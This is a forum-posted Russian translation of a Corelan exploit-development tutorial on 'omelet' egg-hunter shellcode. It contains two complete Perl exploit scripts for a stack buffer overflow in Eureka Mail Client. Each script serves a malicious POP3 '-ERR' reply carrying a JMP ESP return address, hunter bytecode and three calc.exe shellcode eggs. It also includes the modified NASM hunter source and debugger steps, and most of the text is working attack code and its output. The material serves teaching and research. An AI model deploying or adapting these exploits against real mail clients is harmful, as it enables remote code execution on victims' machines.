Если вы присмотритесь к яйцам, то увидите что:

  • Первые 5 байтов содержат размер (0x7A = 122), индекс (0xFF – 0xFE – 0xFD) и маркер (0×55,0xDA,0xBA => 0xBADA55). 122 + 5 байтов заголовка = 127 байтам.
  • Последующие байты яиц взяты из оригинального шеллкода, запускающего calc.exe.
  • В последнем яйце, оставшееся пространство заполнено с помощью 0x40.

3. Создание эксплойта

Дайте проверим этот концепт на нашем эксплойте для Eureka Mail Client. Чтобы с имитировать условия ограниченного пространства, доступного для яиц, мы добавим немного мусора между яйцами:

use Socket;
#fill out the local IP or hostname
#which is used by Eureka EMail as POP3 server
#note : must be exact match !
my $localserver = "192.168.0.193";
#calculate offset to EIP
my $junk = "A" x (723 - length($localserver));
my $ret=pack('V',0x7E47BCAF); #jmp esp from user32.dll
my $padding = "\x90" x 1000;
my $omelet_code = "\x31\xFF\xEB\x23\x51\x64\x89\x20\xFC\xB0\x7A\xF2".
"\xAE\x50\x89\xFE\xAD\x35\xFF\x55\xDA\xBA\x83\xF8\x03\x77\x0C\x59".
"\xF7\xE9\x64\x03\x42\x08\x97\xF3\xA4\x89\xF7\x31\xC0\x64\x8B\x08".
"\x89\xCC\x59\x81\xF9\xFF\xFF\xFF\xFF\x75\xF5\x5A\xE8\xC7\xFF\xFF".
"\xFF\x61\x8D\x66\x18\x58\x66\x0D\xFF\x0F\x40\x78\x06\x97\xE9\xD8".
"\xFF\xFF\xFF\x31\xC0\x64\xFF\x50\x08";

my $egg1 = "\x7A\xFF\x55\xDA\xBA\x89\xE2\xDA\xC1\xD9\x72\xF4\x58\x50".
"\x59\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x51\x5A\x56\x54\x58\x33".
"\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42".
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58".
"\x50\x38\x41\x43\x4A\x4A\x49\x4B\x4C\x4A\x48\x50\x44\x43\x30\x43\x30".
"\x45\x50\x4C\x4B\x47\x35\x47\x4C\x4C\x4B\x43\x4C\x43\x35\x43\x48\x45".
"\x51\x4A\x4F\x4C\x4B\x50\x4F\x42\x38\x4C\x4B\x51\x4F\x47\x50\x43\x31".
"\x4A\x4B\x51\x59\x4C\x4B\x46\x54\x4C\x4B\x43";

my $egg2 = "\x7A\xFE\x55\xDA\xBA\x31\x4A\x4E\x50\x31\x49\x50\x4C\x59".
"\x4E\x4C\x4C\x44\x49\x50\x43\x44\x43\x37\x49\x51\x49\x5A\x44\x4D\x43".
"\x31\x49\x52\x4A\x4B\x4A\x54\x47\x4B\x51\x44\x46\x44\x43\x34\x42\x55".
"\x4B\x55\x4C\x4B\x51\x4F\x51\x34\x45\x51\x4A\x4B\x42\x46\x4C\x4B\x44".
"\x4C\x50\x4B\x4C\x4B\x51\x4F\x45\x4C\x45\x51\x4A\x4B\x4C\x4B\x45\x4C".
"\x4C\x4B\x45\x51\x4A\x4B\x4D\x59\x51\x4C\x47\x54\x43\x34\x48\x43\x51".
"\x4F\x46\x51\x4B\x46\x43\x50\x50\x56\x45\x34\x4C\x4B\x47\x36\x50\x30".
"\x4C\x4B\x51\x50\x44\x4C\x4C\x4B\x44\x30\x45";

my $egg3 = "\x7A\xFD\x55\xDA\xBA\x4C\x4E\x4D\x4C\x4B\x45\x38\x43\x38".
"\x4B\x39\x4A\x58\x4C\x43\x49\x50\x42\x4A\x50\x50\x42\x48\x4C\x30\x4D".
"\x5A\x43\x34\x51\x4F\x45\x38\x4A\x38\x4B\x4E\x4D\x5A\x44\x4E\x46\x37".
"\x4B\x4F\x4D\x37\x42\x43\x45\x31\x42\x4C\x42\x43\x45\x50\x41\x41\x40".
"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40".
"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40".
"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40".
"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40";

my $garbage="This is a bunch of garbage" x 10;

my $payload=$junk.$ret.$omelet_code.$padding.$egg1.$garbage.$egg2.$garbage.$egg3;

print "Payload : " . length($payload)." bytes\n";
print "Omelet code : " . length($omelet_code)." bytes\n";
print " Egg 1 : " . length($egg1)." bytes\n";
print " Egg 2 : " . length($egg2)." bytes\n";
print " Egg 3 : " . length($egg3)." bytes\n";

#set up listener on port 110
my $port=110;
my $proto=getprotobyname('tcp');
socket(SERVER,PF_INET,SOCK_STREAM,$proto);
my $paddr=sockaddr_in($port,INADDR_ANY);
bind(SERVER,$paddr);
listen(SERVER,SOMAXCONN);
print "[+] Listening on tcp port 110 [POP3]... \n";
print "[+] Configure Eureka Mail Client to connect to this host \n";
my $client_addr;
while($client_addr=accept(CLIENT,SERVER))
{
  print "[+] Client connected, sending evil payload\n";
  while(1)
  {
     print CLIENT "-ERR ".$payload."\n";
	 print " -> Sent ".length($payload)." bytes\n";
  }
}
close CLIENT;
print "[+] Connection closed\n";

Выполните скрипт:

C:\sploits\eureka>perl corelan_eurekasploit4.pl
Payload     : 2700 bytes
Omelet code : 85 bytes
      Egg 1 : 127 bytes
      Egg 2 : 127 bytes
      Egg 3 : 127 bytes
[+] Listening on tcp port 110 [POP3]...
[+] Configure Eureka Mail Client to connect to this host

Результат: Access Violation when reading [00000000]

Если присмотримся к коду, то мы увидим что первая инструкция омлетного кода помещает 00000000 в EDI (\x31\xFF = XOR EDI, EDI). Затем, когда происходит чтение по этому адресу, мы получаем ошибку нарушения прав доступа (access violation). Не смотря на тот факт, что код использует специальный SEH-обработчик для обработки таких ошибок, он не обработал эту ошибку и эксплойт дал сбой.

Установите брэйкпойнт на JMP ESP (0x7E47BCAF) и снова запустите эксплойт. Take not of the registers when the jump to esp is made :

Хорошо, давайте устраним эту проблему. Начнем с местоположения яйца в памяти. Все же, возможно, мы можем поместить другой начальный адрес в EDI (отличный от нулевого), опираясь на значение одного из имеющихся регистров, и том месте, где были размещены яйца, позволив тем самым омлетному коду работать правильно.

Сначала, запишите 3 яйца в отдельные файлы (добавьте следующие строки кода в эксплойт, перед тем как будет установлен «listener»):

open(FILE,">c:\\tmp\\egg1.bin");
print FILE $egg1;
close(FILE);

open(FILE,">c:\\tmp\\egg2.bin");
print FILE $egg2;
close(FILE);

open(FILE,">c:\\tmp\\egg3.bin");
print FILE $egg3;
close(FILE);

Стоя на брэйкпойнте JMP ESP, выполните следующие команды:

!pvefindaddr compare c:\tmp\egg1.bin

!pvefindaddr compare c:\tmp\egg2.bin

!pvefindaddr compare c:\tmp\egg3.bin

Отлично, все три яйца находятся в памяти и они не повреждены.

Посмотрите на их адреса. Одна копия находится в стеке (0×0012???), другие копии в другом месте памяти (0×0047???). Если посмотрим на регистры, с тем учетом, что нам нужно найти регистр, который будет надёжный для использования, и будет указывать на место перед яйцами, то мы увидим следующие вещи:

EAX 00000000
ECX 7C91005D ntdll.7C91005D
EDX 00140608
[B][COLOR="red"]EBX 00450266 Eureka_E.00450266[/COLOR][/B]
ESP 0012CD6C
EBP 00475BFC Eureka_E.00475BFC
[B][COLOR="red"]ESI 00475BF8[/COLOR][/B] Eureka_E.00475BF8
EDI 00473678 ASCII "AAAAAAAAAAAAA"
EIP 0012CD6C
C 0  ES 0023 32bit 0(FFFFFFFF)
P 0  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDF000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_INVALID_WINDOW_HANDLE (00000578)
EFL 00000202 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty -UNORM FB18 00000202 0000001B
ST1 empty -UNORM B7FC 00000000 F894BBD0
ST2 empty -UNORM A70E 06D90000 0120027F
ST3 empty +UNORM 1F80 00400000 BF8131CE
ST4 empty %#.19L
ST5 empty -UNORM CCB4 00000286 0000001B
ST6 empty 9.5000000000000000000
ST7 empty 19.000000000000000000
               3 2 1 0      E S P U O Z D I
FST 0120  Cond 0 0 0 1  Err 0 0 1 0 0 0 0 0  (LT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

Вероятно, EBX был бы хорошим выбором. Но EDI еще лучше, потому что он уже указывает на хороший адрес, размещенный перед яйцами. Это означает, что мы можем просто использовать текущее значение EDI (вместо того, чтобы очищать его) для перепоцизионирования омлетного охотника.

Быстрый фикс: замените XOR EDI, EDI двумя инструкциями NOP.

Теперь измененный код омлета в эксплойте выглядит следующим образом:

my $omelet_code = "[B][COLOR="red"]\x90\x90[/COLOR][/B]\xEB\x23\x51\x64\x89\x20\xFC\xB0\x7A\xF2".
"\xAE\x50\x89\xFE\xAD\x35\xFF\x55\xDA\xBA\x83\xF8\x03\x77\x0C\x59".
"\xF7\xE9\x64\x03\x42\x08\x97\xF3\xA4\x89\xF7\x31\xC0\x64\x8B\x08".
"\x89\xCC\x59\x81\xF9\xFF\xFF\xFF\xFF\x75\xF5\x5A\xE8\xC7\xFF\xFF".
"\xFF\x61\x8D\x66\x18\x58\x66\x0D\xFF\x0F\x40\x78\x06\x97\xE9\xD8".
"\xFF\xFF\xFF\x31\xC0\x64\xFF\x50\x08";

Снова запустите эксплойт. (Присоедините Immunity Debugger к Eureka и установите брейкпойнта на JMP ESP). Когда сработает брейкпойнт, жмите F7, чтобы начать трассировку. Вы должны увидеть, что код омлета начинает выполняться (на этот раз с двух команд NOP) и что инструкция «REPNE SCAS BYTE PTR ES:[EDI]» будет выполняться до тех пор, пока не будет найдено яйцо.

Исходя из результата работы команды «!pvefindaddr compare c:\tmp\egg1.bin», мы должны найти яйцо по адресу 0x00473C5C.

Когда первый тег найден (и был проверен, на корректность), происходит вычисление местоположения в стеке (в моем случае 0×00126000), в которое затем копируется шеллкод, который следовал сразу сразу за тегом. Теперь ECX используется в качестве счетчика (считает в обратном направлении к 0), таким образом, когда ECX достигнет 0, шеллкод уже будет скопирован и омлет сможет продолжить свой поиск оставшихся яиц.

Когда шеллкод первого яйца был скопирован, код омлета может продолжить поиск второй части шеллкода.

Этот процесс повторяется до тех пор, пока все яйца не будут найдены и записаны в стек. Вместо того, чтобы остановить поиск, омлет просто продолжает искать… Результат: мы еще раз получаем нарушение прав доступа:

Итак, мы знаем, что код омлета выполняется правильно (мы должны быть в состоянии найти весь шеллкод где-то в памяти), но, когда все яйца найдены, он не останавливается, когда это нужно. Сначла, давайте убедимся в том, что шеллкод находящийся в памяти – не поврежден.

У нас есть файл shellcode.bin, который был создан нами ранее (при создании кода омлета). Скопируйте файл в «С:\tmp» и выполните следующую команду в Immunity Debugger:

!pvefindaddr compare c:\tmp\shellcode.bin

Хорошо, весь немодифицированный шеллкод был действительно найден по адресу 0×00126000. Это замечательно, поскольку доказывает, что омлет работает нормально… Он просто не прекращает поиск, из-за чего, в конечном счете, спотыкается, падает на пол и умирает.

Чёрт побери!

Исправление омлетного кода

Так как яйца находятся в правильном порядке в памяти, то возможно небольшая модификация омлетного кода заставит правильно его работать. Что если мы используем один из регистров для отслеживания количества найденных яиц, и сделаем переход на шеллкод, когда этот регистр укажет нам, что все яйца были найдены.

Давайте попробуем реализовать это. И хотя я не большой эксперт в асме, я чувствую, что сегодня удачный день =)

Начнем с омлетного кода, а именно с создания начального значения, которое будет использоваться для подсчета найденных яиц: 0 – the number of eggs or 0xFFFFFFFF – number of eggs + 1 (so if we have 3 eggs, we’ll use FFFFFFFD). Просмотрев омлетный код (в отладчике), я заметил, что EBX не используется, так что мы можем использовать этот регистр для хранения нашего значения.

Код омлета я заставлю делать следующее: каждый раз, когда он будет находить яйцо, он будет увеличивать счетчик яиц на единицу. Когда счетчик будет равен FFFFFFFF, это будет означать, что все яйца были найдены и мы сможем осуществить переход на наш шеллкод.

Опкод для помещения значения 0xFFFFFFFD в EBX равен «\xbb\xfd\xff\xff\xff». Эту последовательность байтов нам нужно поместить в начало омлетного кода.

Затем, после того, как омлет найдет очередное яйцо и скопирует его в стек, нам нужно убедиться было ли это яйцо последним или нет. (Поэтому мы будем сравнивать EBX с FFFFFFFF. Если значение в EBX будет равно значению FFFFFFFF, то будем переходить на шеллкод. В противном случае, будем просто увеличивать EBX на 1). Копирование шеллкода в стек, производится с помощью следующей инструкции: F3:A4, таким образом проверка и инкрементирование EBX должна размещаться, сразу после этой инструкции.

Сразу после этой инструкции, мы и вставим: нашу проверку, переход если равно (JE, jump if equal) и «INC EBX» (\x43).

Теперь, давайте изменим основной asm-код:

BITS 32

; egg:
; LL II M1 M2 M3 DD DD DD ... (LL * DD)
; LL == Size of eggs (same for all eggs)
; II == Index of egg (different for each egg)
; M1,M2,M3 == Marker byte (same for all eggs)
; DD == Data in egg (different for each egg)

; Original code by skylined
; Code tweaked by Peter Van Eeckhoutte
; peter.ve[at]corelan.be
; http://www.corelan.be:8800

marker equ 0x280876
egg_size equ 0x3
max_index equ 0x2
start:
 [B][COLOR="red"]mov ebx,0xffffffff-egg_size+1 ; ** Added : put initial counter in EBX[/COLOR][/B]
  jmp     SHORT reset_stack

create_SEH_handler:
  PUSH    ECX                     ; SEH_frames[0].nextframe == 0xFFFFFFFF
  MOV     [FS:EAX], ESP           ; SEH_chain -> SEH_frames[0]
  CLD                             ; SCAN memory upwards from 0
scan_loop:
  MOV     AL, egg_size            ; EAX = egg_size
egg_size_location equ $-1 - $$
  REPNE   SCASB                   ; Find the first byte
  PUSH    EAX                     ; Save egg_size
  MOV     ESI, EDI
  LODSD                           ; EAX = II M2 M3 M4
  XOR     EAX, (marker << 8) + 0xFF  ; EDX = (II M2 M3 M4) ^ (FF M2 M3 M4)
	                             ;    == egg_index
marker_bytes_location equ $-3 - $$
  CMP     EAX, BYTE max_index     ; Check if the value of EDX is < max_index
max_index_location equ $-1 - $$
  JA      reset_stack             ; No -> This was not a marker, continue scan
  POP     ECX                     ; ECX = egg_size
  IMUL    ECX                     ; EAX = egg_size * egg_index == egg_offset
  ; EDX = 0 because ECX * EAX is always less than 0x1,000,000
  ADD     EAX, [BYTE FS:EDX + 8]   ; EDI += Bottom of stack ==
	                            ;      position of egg in shellcode.
  XCHG    EAX, EDI
copy_loop:
  REP     MOVSB                   ; copy egg to basket
 [B][COLOR="red"]CMP EBX, 0xFFFFFFFF ; ** Added : see if we have found all eggs JE done ; ** Added : If we have found all eggs, ; ** jump to shellcode INC EBX ; ** Added : increment EBX ; (if we are not at the end of the eggs)[/COLOR][/B]
  MOV     EDI, ESI                ; EDI = end of egg

reset_stack:
; Reset the stack to prevent problems cause by recursive SEH handlers and set
; ourselves up to handle and AVs we may cause by scanning memory:
  XOR     EAX, EAX                ; EAX = 0
  MOV     ECX, [FS:EAX]           ; EBX = SEH_chain => SEH_frames[X]
find_last_SEH_loop:
  MOV     ESP, ECX                ; ESP = SEH_frames[X]
  POP     ECX                     ; EBX = SEH_frames[X].next_frame
  CMP     ECX, 0xFFFFFFFF         ; SEH_frames[X].next_frame == none ?
  JNE     find_last_SEH_loop      ; No "X -= 1", check next frame
  POP     EDX                     ; EDX = SEH_frames[0].handler
  CALL    create_SEH_handler      ; SEH_frames[0].handler == SEH_handler

SEH_handler:
  POPA                            ; ESI = [ESP + 4] ->
                                  ;     struct exception_info
  LEA     ESP, [BYTE ESI+0x18]    ; ESP = struct exception_info->exception_addr
  POP     EAX                     ; EAX = exception address 0x????????
  OR      AX, 0xFFF               ; EAX = 0x?????FFF
  INC     EAX                     ; EAX = 0x?????FFF + 1 -> next page
  JS      done                    ; EAX > 0x7FFFFFFF ===> done
  XCHG    EAX, EDI                ; EDI => next page
  JMP     reset_stack
done:
  XOR     EAX, EAX                ; EAX = 0
  CALL    [BYTE FS:EAX + 8]       ; EDI += Bottom of stack
                                  ;    == position of egg in shellcode.

    db      marker_bytes_location
    db      max_index_location
    db      egg_size_location

Можете загрузить измененный код отсюда:

corelanc0d3r w32_seh_omelet (ASM) (3.7 KiB, 247 hits)

Скомпилируйте этот модифицированный код, и пересоздайте яйца:

“c:\program files\nasm\nasm.exe” -f bin -o w32_omelet.bin w32_SEH_corelanc0d3r_omelet.asm -w+error 

w32_SEH_omelet.py w32_omelet.bin shellcode.bin calceggs.txt 127 0xBADA55

Скопируйте омлетный код из ново-созданного файла calceggs.txt и поместите его в эксплойт. Теперь эксплойт выглядит следующим образом:

use Socket;
#fill out the local IP or hostname
#which is used by Eureka EMail as POP3 server
#note : must be exact match !
my $localserver = "192.168.0.193";
#calculate offset to EIP
my $junk = "A" x (723 - length($localserver));
my $ret=pack('V',0x7E47BCAF); #jmp esp from user32.dll
my $padding = "\x90" x 1000;

my $omelet_code = "\xbb\xfd\xff\xff\xff".   #put 0xfffffffd in ebx
"\xEB\x2C\x51\x64\x89\x20\xFC\xB0\x7A\xF2\xAE\x50".
"\x89\xFE\xAD\x35\xFF\x55\xDA\xBA\x83\xF8\x03\x77".
"\x15\x59\xF7\xE9\x64\x03\x42\x08\x97\xF3\xA4".
"\x81\xFB\xFF\xFF\xFF\xFF".   # compare EBX with FFFFFFFF
"\x74\x2B".   #if EBX is FFFFFFFF, jump to shellcode
"\x43".       #if not, increase EBX and continue
"\x89\xF7\x31\xC0\x64\x8B\x08\x89\xCC\x59\x81\xF9".
"\xFF\xFF\xFF\xFF\x75\xF5\x5A\xE8\xBE\xFF\xFF\xFF".
"\x61\x8D\x66\x18\x58\x66\x0D\xFF\x0F\x40\x78\x06".
"\x97\xE9\xD8\xFF\xFF\xFF\x31\xC0\x64\xFF\x50\x08";

my $egg1 = "\x7A\xFF\x55\xDA\xBA\x89\xE2\xDA\xC1\xD9\x72\xF4\x58\x50".
"\x59\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x51\x5A\x56\x54\x58\x33".
"\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42".
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58".
"\x50\x38\x41\x43\x4A\x4A\x49\x4B\x4C\x4A\x48\x50\x44\x43\x30\x43\x30".
"\x45\x50\x4C\x4B\x47\x35\x47\x4C\x4C\x4B\x43\x4C\x43\x35\x43\x48\x45".
"\x51\x4A\x4F\x4C\x4B\x50\x4F\x42\x38\x4C\x4B\x51\x4F\x47\x50\x43\x31".
"\x4A\x4B\x51\x59\x4C\x4B\x46\x54\x4C\x4B\x43";

my $egg2 = "\x7A\xFE\x55\xDA\xBA\x31\x4A\x4E\x50\x31\x49\x50\x4C\x59".
"\x4E\x4C\x4C\x44\x49\x50\x43\x44\x43\x37\x49\x51\x49\x5A\x44\x4D\x43".
"\x31\x49\x52\x4A\x4B\x4A\x54\x47\x4B\x51\x44\x46\x44\x43\x34\x42\x55".
"\x4B\x55\x4C\x4B\x51\x4F\x51\x34\x45\x51\x4A\x4B\x42\x46\x4C\x4B\x44".
"\x4C\x50\x4B\x4C\x4B\x51\x4F\x45\x4C\x45\x51\x4A\x4B\x4C\x4B\x45\x4C".
"\x4C\x4B\x45\x51\x4A\x4B\x4D\x59\x51\x4C\x47\x54\x43\x34\x48\x43\x51".
"\x4F\x46\x51\x4B\x46\x43\x50\x50\x56\x45\x34\x4C\x4B\x47\x36\x50\x30".
"\x4C\x4B\x51\x50\x44\x4C\x4C\x4B\x44\x30\x45";

my $egg3 = "\x7A\xFD\x55\xDA\xBA\x4C\x4E\x4D\x4C\x4B\x45\x38\x43\x38".
"\x4B\x39\x4A\x58\x4C\x43\x49\x50\x42\x4A\x50\x50\x42\x48\x4C\x30\x4D".
"\x5A\x43\x34\x51\x4F\x45\x38\x4A\x38\x4B\x4E\x4D\x5A\x44\x4E\x46\x37".
"\x4B\x4F\x4D\x37\x42\x43\x45\x31\x42\x4C\x42\x43\x45\x50\x41\x41\x40".
"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40".
"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40".
"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40".
"\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40";

my $garbage="This is a bunch of garbage" x 10;

my $payload=$junk.$ret.$omelet_code.$padding.$egg1.$garbage.$egg2.$garbage.$egg3;

print "Payload : " . length($payload)." bytes\n";
print "Omelet code : " . length($omelet_code)." bytes\n";
print " Egg 1 : " . length($egg1)." bytes\n";
print " Egg 2 : " . length($egg2)." bytes\n";
print " Egg 3 : " . length($egg3)." bytes\n";

#set up listener on port 110
my $port=110;
my $proto=getprotobyname('tcp');
socket(SERVER,PF_INET,SOCK_STREAM,$proto);
my $paddr=sockaddr_in($port,INADDR_ANY);
bind(SERVER,$paddr);
listen(SERVER,SOMAXCONN);
print "[+] Listening on tcp port 110 [POP3]... \n";
print "[+] Configure Eureka Mail Client to connect to this host \n";
my $client_addr;
while($client_addr=accept(CLIENT,SERVER))
{
  print "[+] Client connected, sending evil payload\n";
  $cnt=1;
  while($cnt < 10)
  {
     print CLIENT "-ERR ".$payload."\n";
	 print " -> Sent ".length($payload)." bytes\n";
	 $cnt=$cnt+1;
  }
}
close CLIENT;
print "[+] Connection closed\n";

Хорошо, омлетный код стал немного больше, но мои изменения возможно можно еще немного улучшить, но постойте – посмотрите на результат:

Pwned ! :slight_smile:

© Translated by Prosper-H from r0 Crew

Честно не читал, но листать устал… Они видимо книгу собрались писать :slight_smile:

Они тренинг сделали =)